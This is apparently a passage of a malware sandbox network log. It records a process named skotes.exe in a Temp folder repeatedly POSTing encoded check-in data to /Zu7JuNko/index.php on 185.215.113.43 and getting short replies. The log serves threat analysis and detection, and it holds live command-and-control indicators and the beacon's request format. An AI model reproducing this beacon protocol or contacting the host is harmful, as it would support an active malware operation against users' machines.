Dec 9, 2024 20:30:26.961879015 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:28.315716982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50184	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:30.055579901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:31.387300014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50185	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:33.012557030 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:34.370307922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	50186	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:36.111762047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:37.461930990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50188	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:39.107300997 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:40.486618042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50189	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:42.228610992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:43.573231936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50197	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:45.202092886 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:46.558944941 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50198	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:48.301966906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:49.688790083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50199	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:51.324081898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:52.680654049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50200	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:54.421799898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:30:55.764755964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50201	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:30:57.401201963 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:30:58.753159046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:30:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50202	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:00.504412889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:01.843338966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50203	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:03.474212885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:04.830858946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50205	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:06.572413921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:07.918428898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50206	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:09.570991039 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50207	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:11.706338882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:13.061515093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50208	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:14.701860905 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:16.039244890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50209	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:17.785989046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:19.121471882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50210	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:20.763740063 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:22.105015039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50211	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:23.841278076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:25.177308083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50212	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:26.819679022 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:28.189899921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50213	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:29.949167013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:31.300237894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50214	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:32.943389893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:31:34.291045904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50215	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:31:36.035722017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:31:37.400857925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

